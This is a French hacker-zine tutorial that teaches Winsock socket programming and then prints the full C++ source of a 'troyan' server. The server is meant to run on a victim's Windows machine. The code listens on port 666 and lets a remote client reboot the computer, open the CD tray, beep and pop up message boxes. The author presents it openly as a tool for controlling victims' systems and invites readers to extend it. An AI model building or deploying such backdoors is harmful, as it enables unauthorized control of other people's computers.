4- Programmer un troyan en c++ par TiPiaX
A - Qu'est-ce qu'un troyan ?
C'est un programme qui une fois executé sur l'ordinateur de votre victime
vous permet de contrôler son système. Celui que nous programmerons sera fait
pour windows pour donner la base de la programmtion socket en C/C++
aux débutants..
Un troyan fonctionne sous la forme d'une application client-server.
Il est en fait composé de 2 fichiers exécutables:
- Le server = programme a lancer sur la victime
- Le client = centre de controle a lancer sur vous-même
Ps: j'espère que vous saviez au moins ceci, mais bon on ne sait jamais ;)
Pour tout ce qui est partie réseau, nous utilisons les sockets.
B - Comment programmer en C++ windows une application client-server?
le server
-----------
1) Il faut tout d'abord initialiser le système des sockets.
2) créer un socket
3) remplir une structure sockaddr_in
4) binder ( lier ) le socket à la structure
5) mettre le socket en listen()
6) accépter une connection d'un client avec accept()
...
7) détruire le socket
8) libérer winsock
le client
----------
1) initialiser le système des sockets.
2) créer un socket
3) connecter a l'host
4) envoyer le socket
5) fermer la connection en détruisant le socket et en libérant winsock
Pour tout ceci il faudra inclure "winsock.h" et linker avec wsock32.lib
Voila c'est prêt.
Passons à la programmation proprement dite du server.
Commençons par inclure "winsock.h" :
#include <winsock.h>
Nous déclarons nos structures sockaddr_in et nous créons "len" qui contient la taille d'un structure:
struct sockaddr_in sin;
struct sockaddr_in info;
int len = sizeof(SOCKADDR_IN);
ensuite nous passons a l'initialisation de winsock en déclarant que nous voulons la version 1.1 minimum :
WSADATA wsaData;
WORD verreq;
verreq=MAKEWORD(2,2);
WSAStartup(verreq,&wsaData);
MAKEWORD est une fonction de winsock qui permet de donner la version.
En asm, préférez faire un décalage de bits (voir counterstrike3 - troyan
en asm par obscurer ! bonjour a vous au passage).
puis la création d'un socket:
SOCKET s;
s=socket(AF_INET, SOCK_STREAM, 0);
et le remplissage d'une structure sockaddr_in pour donner les propriétées de nos sockets :
sin.sin_family = PF_INET; //toujours PF_INET sous windows
sin.sin_addr.s_addr = NULL; //on connait pas l'ip du client
sin.sin_port = htons(12345); //htons donne la valeur correspond au port
//en NETWORK BYTE ORDER.
puis nous bindons(lier) le socket:
if (bind (s,(struct sockaddr *)&sin,len)==SOCKET_ERROR)goto error;
puis nous le mettons en écoute:
if (listen(s,1)==SOCKET_ERROR)goto error;
et nous attendons une connection:
SOCKET sok;
sok=accept(s,(struct sockaddr *)&info,&len);
if (sok == INVALID_SOCKET)goto error;
sok sera la socket accepté et info la structure sockaddr_in qui lui correspond.
Après nous envoyons ce que nous voulons grâce a la fonction send().
Pour recevoir nous utilisons recv()
A la fin ou en cas d'erreur nous nettoyons tout:
fin:
closesocket(s);
WSACleanup();
C'est assez difficile à comprendre si vous ne connaissez pas très bien le C/C++.
Pour illustrer tout ceci rien de mieux qu'un exemple.
Voici donc le source de mon troyan en C++. Et si vous voulez une autre source
regardez mon émulateur NetBus qui est tout simple. Allez voila le source
du server.(n'oubliez pas de linker wsock32.lib en faisant sous vc++ :
project->settings->link et rajoutez wsock32.lib au début de la liste ainsi
que winmm.lib qui est utilisée ici pour ouvrir le lecteur cd)
Ce troyan n'est pas très évolué mais il est relativement simple de
l'améliorer.(les exes sont joints pour ceux qui n'ont pas VC++ ou le compilateur)
La source du client est joint pour ne pas surcharger le mag.
C - La source du server Troyan
COPIER/COLLER ------------------------------------------------------------------------------------------------------------------------
//----------------------------------------------------------------------
// EnCuLaToR TroYaN par TiPiaX - HackerStorm
//----------------------------------------------------------------------
#include <stdio.h>
#include <winsock.h> //pour les sockets
//prototypes
int troyan(void);
//variables
SOCKET s;
SOCKET sok;
WSADATA wsaData;
WORD verreq;
struct sockaddr_in sin;
struct sockaddr_in info;
int len = sizeof(SOCKADDR_IN);
char signature[]="EnCuLaToR v0.1\r\n"; //<<signature
int recu = 1;
char buf[20]; //buffer pour recevoir des datas
char message[]="reboot\r\n";
char open[]="open\r\n";
char close[]="close\r\n";
char beep[]="beep\r\n";
char chat[]="chat\r\n";
char parole[100];
char titre[100];
/**** ENTRY POINT ****/
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInst,
LPSTR lpCmdLine, int nCmdShow)
{
troyan();
return (0);
}
/**** !§ TROYAN §! ****/
int troyan(void)
{
//initialisation du système de sockets:
verreq=MAKEWORD(2,2);
WSAStartup(verreq,&wsaData);
//remplissage de la structure sockaddr_in
sin.sin_family = PF_INET;
sin.sin_addr.s_addr = NULL;
sin.sin_port = htons(666);
//création d'un socket:
s = socket(PF_INET, SOCK_STREAM, 0);
//bind le socket
if (bind (s,(struct sockaddr *)&sin,len)==SOCKET_ERROR)goto error;
//socket en ecoute de connection
if (listen(s,1)==SOCKET_ERROR)goto error;
onrepart:
//accepte la connection
sok=accept(s,(struct sockaddr *)&info,&len);
if (sok == INVALID_SOCKET)goto error;
send(sok,signature,strlen(signature),0);
//ici tout est bon, il n'y a plus qu'a recevoir les messages du client:
int comparaison;
recu = 1;
while (recv(sok,buf,sizeof(buf),0)!=0) // boucle tant que la connection existe
{
comparaison = lstrcmp(buf,message);
if (comparaison==0)ExitWindowsEx(EWX_REBOOT,NULL);
comparaison = lstrcmp(buf,open);
if (comparaison==0)mciSendString("Set cdaudio door open wait",0,0,0);
comparaison = lstrcmp(buf,close);
if (comparaison==0)mciSendString("Set cdaudio door closed wait",0,0,0);}
comparaison = lstrcmp(buf,beep);
if (comparaison==0)Beep(NULL,NULL);
//boite de message
comparaison = lstrcmp(buf,chat);
if (comparaison==0)
if(recv(sok,titre,sizeof(titre),0)!=0)
if(recv(sok,parole,sizeof(parole),0)!=0)
MessageBox(NULL,parole,titre,MB_OK);
}
memset(&info,0,sizeof(SOCKADDR_IN));
closesocket(sok);
goto onrepart;
error:
int nombre;
char buffer[30];
nombre=WSAGetLastError();
sprintf(buffer,"%d",nombre);
MessageBox(NULL,buffer,"ERROR : WSAGetLastError :",MB_OK);
closesocket(s);
WSACleanup();
ExitProcess(0);
}
----------------------------------------------------------------------------------------------------------------------------------------------
Ce troyan peut même servir sans créer de client. En effet il suffit de se connecter
avec telnet sur le port 666 et d'écrire des messages tels que: "reboot" :)
Petite remarque:
pour le système de boite de message, il faut envoyer "chat" au server.
celui-ci attendra que vous lui envoyer le titre puis ensuite le message.
Voilà, si vous voulez que je continue ce troyan mailez-moi et donnez-moi l'inspiration :)